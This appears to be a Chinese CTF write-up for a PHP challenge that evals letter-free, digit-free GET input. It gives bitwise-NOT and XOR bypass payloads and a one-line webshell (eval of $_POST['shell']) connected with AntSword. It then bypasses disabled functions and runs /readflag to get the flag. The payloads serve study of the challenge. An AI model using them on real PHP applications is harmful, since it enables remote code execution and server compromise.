<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
代码意思就是GET方式传入code,code长度不能大于40,不能是大小写字母和数字,通过检测后就可以执行code
绕过这里没有想出来,看了一些wp说是将要执行的代码取反然后urlencode编码,然后在地址栏再取反,但是这个方法利用失败
?code=(~%8F%97%8F%96%91%99%90)();
%8F%97%8F%96%91%99%90:urlencode(~'phpinfo')
后面在网上找到了其他wp
payload:
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();
构造一句话木马,使用蚊剑连接,在根目录下发现flag文件但是读取不到,还有一个readflag文件
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=@eval($_POST['shell']);
readflag文件为二进制文件,对二进制文件反编译得到代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
seteuid(0):
setegid(0):
setuid(0):
setgid(0);
return system("/bin/cat /flag")
}
代码意思是执行这个文件就可以得到flag,但是执行phpinfo发现禁用了许多函数,所以需要绕过
这里直接使用蚁剑自带插件即可绕过
将执行命令的结果保存到文件,因为权限问题可以保存到tmp目录
/readflag > /tmp/1.txt
得到flag
flag{ab15a1af-32c5-49cd-9d33-d0353c0df161}
也可以使用mm0r1/exploits项目绕过
其他常见PHP代码执行绕过方法见:浅谈PHP代码执行中出现过滤限制的绕过执行方法